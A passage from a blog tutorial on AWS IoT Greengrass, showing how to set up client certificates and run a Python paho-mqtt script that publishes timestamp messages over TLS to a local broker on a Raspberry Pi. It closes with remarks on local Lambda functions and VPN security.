thing.</p><p>Make sure to download the <strong>private</strong> and <strong>device certificate</strong> and since you are forced to grab the public one as well, do it.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-16.png" class="kg-image" alt loading="lazy" width="1254" height="1878" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-16.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-16.png 1000w, https://eduard.schwarzkopf.center/content/images/2023/07/grafik-16.png 1254w" sizes="(min-width: 720px) 720px"></figure><h3 id="send-messages">Send Messages</h3><p>Finally! We have all components in place and set up to send messages to the broker, over the bridge to IoT Core (That is now the Raspberry Pi).</p><p>Coffee Time!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/coffee_time.gif" class="kg-image" alt loading="lazy" width="500" height="500"></figure><p>Create a folder on your laptop, call it <code>iot</code>.</p><p>Inside that iot folder create another folder called <code>certs</code>.</p><p>Place your <em>device certificate</em> and <em>private certificate</em> inside <code>certs</code>. To make your life easier, remove the random string from the name of the certificate.</p><p>Now you need the CA certificate from the core device. You can find that on your Raspberry Pi under: <code>/greengrass/v2/work/aws.greengrass.clientdevices.Auth/ca.pem</code></p><p>The simplest way to get this certificate: Use the following command: <code>sudo cat /greengrass/v2/work/aws.greengrass.clientdevices.Auth/ca.pem</code></p><p>copy the output into a new file in your <code>certs</code> folder and call it <code>ca.pem</code>. Make sure it starts with <em>-----BEGIN CERTIFICATE----</em> and ends with <em>-----END CERTIFICATE-----</em>.</p><pre><code>-----BEGIN CERTIFICATE-----
Random looking stuff, definitely not coffee 
-----END CERTIFICATE-----
</code></pre><p>Now create a file called <code>message.py</code> inside the <code>iot</code>.</p><p>paste in the following code inside it. Replace the placeholder in line 6 with your RaspberryPis local IP address and if you picked another name for your thing name, change that on line 33 - <code>paho.Client(client_id=&quot;MyClientDevice1&quot;)</code>.</p><pre><code>import paho.mqtt.client as paho
from time import sleep
from random import uniform
import datetime

broker=&quot;&lt;RaspberryPi-Local-IP&gt;&quot;
port=8883


cert_folder = &quot;certs&quot;
ca = f&quot;{cert_folder}/ca.pem&quot;
cert = f&quot;{cert_folder}/certificate.pem.crt&quot;
private = f&quot;{cert_folder}/private.pem.key&quot;


connflag = False

def on_connect(client, userdata, flags, rc):
    global connflag
    if rc==0:
        connflag = True
        print(&quot;connected OK Returned code=&quot;,rc)
    else:
        print(&quot;Bad connection Returned code=&quot;,rc)



def on_publish(client,userdata,result):             

    return print(&quot;data published \n&quot;)


mqttc= paho.Client(client_id=&quot;MyClientDevice1&quot;)                           
mqttc.on_connect = on_connect
mqttc.on_publish = on_publish                          


mqttc.tls_set(
    ca_certs=ca,
    certfile=cert,
    keyfile=private
)

mqttc.connect(broker,port)                                 

mqttc.loop_start()

while 1==1:
    sleep(0.5)
    if connflag == True:
        now = datetime.datetime.now().timestamp()
        mqttc.publish(&quot;clients/test/hello/world&quot;, str({&quot;time&quot;: now}), qos=1)
        print(f&quot;msg sent: {now}&quot;)
    else:
        print(&quot;waiting for connection...&quot;)
</code></pre><p>This python script connects to the local MQTT Broker running on your Pi and is sending messages with the payload of the current time on the topic <code>clients/test/hello/world</code>.</p><p>You should have a folder structure like this:</p><pre><code>&#x251C;&#x2500;&#x2500; certs
&#x2502;&#xA0;&#xA0; &#x251C;&#x2500;&#x2500; ca.pem
&#x2502;&#xA0;&#xA0; &#x251C;&#x2500;&#x2500; certificate.pem.crt
&#x2502;&#xA0;&#xA0; &#x2514;&#x2500;&#x2500; private.pem.key
&#x2514;&#x2500;&#x2500; message.py
</code></pre><p>Create the virtual environment with virtualenv and install <a href="https://pypi.org/project/paho-mqtt/?ref=eduard.schwarzkopf.center" rel="nofollow">paho</a>, this is a MQTT Python client:</p><p><code>pip install paho-mqtt</code></p><p>Finally you can run the script with:</p><p><code>python message.py</code></p><p>Head over to the management console and navigate to the MQTT test client. Under Subscribe, type in the topic <code>clients/test/hello/world</code> click Subscribe and now you should see all the messages coming in.</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/grafik-18.png" class="kg-image" alt loading="lazy" width="2000" height="1381" srcset="https://eduard.schwarzkopf.center/content/images/size/w600/2023/07/grafik-18.png 600w, https://eduard.schwarzkopf.center/content/images/size/w1000/2023/07/grafik-18.png 1000w, https://eduard.schwarzkopf.center/content/images/size/w1600/2023/07/grafik-18.png 1600w, https://eduard.schwarzkopf.center/content/images/size/w2400/2023/07/grafik-18.png 2400w" sizes="(min-width: 720px) 720px"></figure><p>If you still have coffee left, drink it up, like the champ you are!</p><figure class="kg-card kg-image-card"><img src="https://eduard.schwarzkopf.center/content/images/2023/07/champ_coffee.gif" class="kg-image" alt loading="lazy" width="200" height="299"></figure><h2 id="conclusion">Conclusion</h2><p>As you have seen Greengrass allows for local device-to-device communication and processing of data without the need for a cloud connection. This can be useful in a variety of different use cases, as it allows for faster and more efficient data processing, as well as the ability to continue functioning in the event of a network outage. One potential use case for a Greengrass-enabled IoT device is in industrial settings, such as factories or warehouses. These environments often have a large number of connected devices that need to communicate with each other and with a central control system. Greengrass allows for these devices to communicate with each other and make decisions locally, without having to send all data to the cloud for processing. This can lead to faster decision-making and more efficient use of resources. Another potential use case is in the field of smart homes, autonomous vehicles and Agriculture.</p><p>From this setup you can make the system even more efficient by deploying Lambda functions on the Greengrass Core Device. Exactly! Deploying Lambda functions on a Greengrass-enabled IoT device can greatly improve the cost and performance of the device. Local Lambda. Sounds great? That&apos;s because it is. Deployed Lambda functions can be run on the Greengrass core device, allowing for local processing of data without the need for a cloud connection. This can lead to significant cost savings, as data doesn&apos;t need to be sent to the cloud for processing, and can also result in faster and more efficient data processing. Additionally, by deploying Lambda functions on the Greengrass core device, it allows for more complex logic to be implemented locally, such as image or video analysis, machine learning, or data filtering. This can be especially useful in resource-constrained environments, such as on edge devices, as it reduces the amount of data that needs to be sent to the cloud for processing.</p><p>In terms of security, using a VPN or Direct Connect connection to the cloud can enhance the security of the Greengrass-enabled IoT device even further. A VPN (Virtual Private Network) allows for a secure connection to the cloud, and can help protect against unauthorized access to the device. In summary, Greengrass is a powerful IoT platform that can provide many benefits, including faster and more efficient data processing, the ability to function in the event of a network outage, and the ability to make decisions locally, without the need for a constant connection to the cloud. This makes it a valuable tool in a wide range of use cases, including industrial settings, smart homes, autonomous vehicles and Agriculture. Additionally, deploying Lambda functions and using a VPN or Direct Connect connection can improve cost, performance and security of the device.</p>]]></content:encoded></item></channel></rss>